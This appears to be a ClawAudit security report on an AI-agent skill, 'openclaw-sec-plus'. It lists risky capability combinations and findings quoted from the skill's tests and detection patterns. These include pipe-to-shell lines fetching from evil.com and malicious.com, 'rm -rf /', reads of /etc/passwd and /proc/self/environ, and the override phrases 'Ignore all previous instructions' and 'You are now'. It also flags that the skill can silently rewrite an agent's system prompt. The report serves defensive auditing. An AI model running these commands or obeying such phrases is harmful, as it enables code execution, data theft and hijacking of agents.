ClawAudit verdict

openclaw-sec

openclaw-sec-plus

45
🟠 Risky
Significant concerns — only install if you understand the risks

Receives external input AND executes processes

Nearly identical to openclaw-sec but the Action Engine diagram shows Rewrite System Prompts instead of Return Result, indicating this variant can silently modify the agent system prompt as an automated security response, constituting unauthorized agent behavior modification.

0
security
70
transparency
100
maintenance

What it does

These are capability combinations: each listed behavior occurs in the skill, but ClawAudit detects co-occurrence — it does not verify that one flows into another. Read the code to confirm a live chain.

Capability combination critical

Receives external input AND executes processes — the shape of a command & control channel

LLM05 · LLM06 · ASI10

Capability combination high

Executes processes AND makes external network calls — may exfiltrate command output

LLM02 · LLM06 · ASI03

Capability combination high

Accesses credentials AND makes external network calls — potential credential theft

LLM02 · ASI03

Capability combination high

Accesses credentials AND encodes data — may obfuscate stolen credentials

LLM02 · ASI03 · ASI04

Capability combination high

Installs packages AND executes processes — opaque dependency chain with execution

LLM03 · ASI04

Permission integrity

Makes network requests but does not declare curl/wget in required binaries

network_out

Code accesses API keys/tokens but declares no environment variables

credential_access

Installs packages at runtime — transitive dependencies are not auditable

package_install

Findings (36)

Pattern match critical

Recursive delete from root or home — destructive command

SKILL.md · code · rm -rf /

Pattern match critical

Accesses sensitive system files

SKILL.md · code · /etc/passwd

Pattern match critical

Reads /proc/self/environ — dumps all environment variables

SKILL.md · code · /proc/self/environ

Pattern match critical

Prompt injection — tries to override agent instructions

SKILL.md · code · Ignore all previous instructions

Pattern match critical

Unicode homoglyph detected — uses lookalike characters to evade pattern matching

src/modules/content-scanner/__tests__/scanner.test.ts · prose

Pattern match high

HTTP request to bare IP address — common in malicious payloads

SKILL.md · code · http://169.254.169.254

Pattern match high

Possible prompt injection — attempts to redefine agent identity

SKILL.md · code · You are now

Pattern match high

subprocess execution — runs system commands from Python

SKILL.md · code · subprocess.run(

Pattern match high

Dynamic __import__('os') — Python OS command execution

src/modules/code-execution-detector/__tests__/detector.test.ts · prose · downgraded · __import__("os")

Pattern match high

Direct __builtins__ access — can invoke any builtin function

src/modules/code-execution-detector/__tests__/detector.test.ts · prose · downgraded · __builtins__.

Pattern match high

Pipe to bash — executes piped content as shell commands

src/modules/command-validator/__tests__/validator.test.ts · prose · downgraded · | bash

Pattern match high

Pipe-to-shell pattern (curl | sh) — supply chain attack vector

src/modules/command-validator/__tests__/validator.test.ts · prose · downgraded · curl http://evil.com/script.sh | bash

Pattern match high

Pipe-to-shell pattern (wget | sh)

src/modules/command-validator/__tests__/validator.test.ts · prose · downgraded · wget http://malicious.com/script.sh -O - | bash

Pattern match high

Bash /dev/tcp — raw TCP connection via shell

src/modules/command-validator/__tests__/validator.test.ts · prose · downgraded · /dev/tcp/

Pattern match high

Uses eval() — can execute arbitrary code

src/modules/content-scanner/__tests__/scanner.test.ts · prose · downgraded · eval(

Pattern match high

Possible hardcoded credential

src/modules/secret-detector/__tests__/detector.test.ts · prose · downgraded · api_key = "abcdefghijklmnopqrstuvwxyz

Pattern match high

Dynamic Function constructor — equivalent to eval()

src/patterns/runtime-validation/code-execution-patterns.ts · prose · downgraded · new Function(

Pattern match high

Pipe to sh — executes piped content as shell commands

src/patterns/runtime-validation/command-injection.ts · prose · downgraded · |sh

Pattern match medium

Popular HTTP library — network access

SKILL.md · code · Got

Pattern match medium

References webhook/callback URL

SKILL.md · code · webhook_url

Pattern match medium

Dynamic import() — loads module at runtime

jest.config.js · prose · downgraded · import("

Pattern match medium

Accesses OpenClaw config/secrets directly

plugins/security-input-validator-plugin/install.ts · prose · downgraded · ~/.openclaw/openclaw.json

Pattern match medium

References child_process — can spawn system processes

src/__tests__/cli.test.ts · prose · downgraded · child_process

Pattern match medium

Uses exec() — may execute shell commands

src/core/database-manager.ts · prose · downgraded · exec(

Pattern match medium

Reads files from sensitive system paths

src/modules/code-execution-detector/__tests__/detector.test.ts · prose · downgraded · readFileSync("/etc

Pattern match medium

os.system/popen — direct OS command execution

src/modules/code-execution-detector/__tests__/detector.test.ts · prose · downgraded · os.system(

Pattern match medium

subprocess with shell=True — command injection vector

src/modules/command-validator/__tests__/validator.test.ts · prose · downgraded · subprocess.Popen("whoami", shell=True

Pattern match medium

Base64 decode (atob) — may hide malicious payloads

src/modules/content-scanner/__tests__/scanner.test.ts · prose · downgraded · atob(

Pattern match medium

Accesses .ssh directory

src/modules/path-validator/__tests__/validator.test.ts · prose · downgraded · .ssh/

Pattern match medium

References SSH/GPG private keys

src/modules/path-validator/__tests__/validator.test.ts · prose · downgraded · ssh_key

Pattern match medium

References sudo — requests elevated privileges

src/patterns/prompt-injection/policy-puppetry-zh.ts · prose · downgraded · sudo

Pattern match low

Base64 encoding/decoding

src/modules/content-scanner/__tests__/scanner.test.ts · prose · downgraded · base64_encode

Pattern match low

String.fromCharCode — can build strings to evade detection

src/modules/content-scanner/__tests__/scanner.test.ts · prose · downgraded · String.fromCharCode

Pattern match low

Base64 encode (btoa) — may obfuscate data exfiltration

src/modules/content-scanner/__tests__/scanner.test.ts · prose · downgraded · btoa(

Pattern match low

References tunneling service

src/modules/exfiltration-detector/__tests__/detector.test.ts · prose · downgraded · ngrok

Pattern match low

Sets world-executable permissions

src/patterns/runtime-validation/command-injection.ts · prose · downgraded · chmod 777

Why the tier is capped

Execution sink present in raw bytes (Hard Floor: class A/D/E). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.

Permissions & capabilities

No declared permissions — minimal attack surface.

credential_accessnetwork_inpackage_installnetwork_outdata_encodingprocess_exec
Check another skill Browse the registry Auditing your own skills or configs? Use the API